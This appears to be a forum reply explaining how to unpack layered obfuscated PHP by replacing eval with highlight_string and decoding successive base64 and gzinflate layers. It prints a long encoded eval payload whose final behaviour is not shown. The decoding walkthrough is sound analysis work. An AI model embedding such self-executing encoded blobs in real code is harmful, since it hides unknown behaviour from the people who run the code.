Thanks in advance.

| Well most encodings just use a neat combination of the base64 encoding and the eval function, which takes PHP code as a string and executes it. So most of the times, decoding is just decoding the base64 and look what it says. Then use that outcome and replace the eval function with an echo or highlight_string. |

Well for example, here's how I decoded this file:
First I changed the first eval into highlight_string and put a die() after that line to prevent further execution of the script. This step revealed a function declaration of "rotencode", probably used later on.
Then I wanted to know what the $OO000OO000OO variable contained, when it is used in the second and last eval. So I just put echo $OO000OO000OO; die(); before the last eval, which revealed that $OO000OO000OO contains "gzinfla2e". Though this cannot be correct because gzinfla2e is not a PHP function, but gzinflate is. The 2 probably slipped in as an error due to character encoding issues considering the line $keystroke2 = $O0O0O0O0O0O0("„q>BF?~Anâ€r‡D…pt{sl??E{y‚xCwuov|@?z}", -13); contains a lot of non-ascii characters. So I replaced "eval($OO000OO000OO" with "highlight_string(gzinflate(". This revealed another encoded string:
| Code: | | eval($OO000OO000OO(base64_decode('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'))); |
Now just keep replacing the "eval($OO000OO000OO" with "highlight_string(gzinflate" and the original script will eventually come up. This was just encoded multiple times in the same way. |
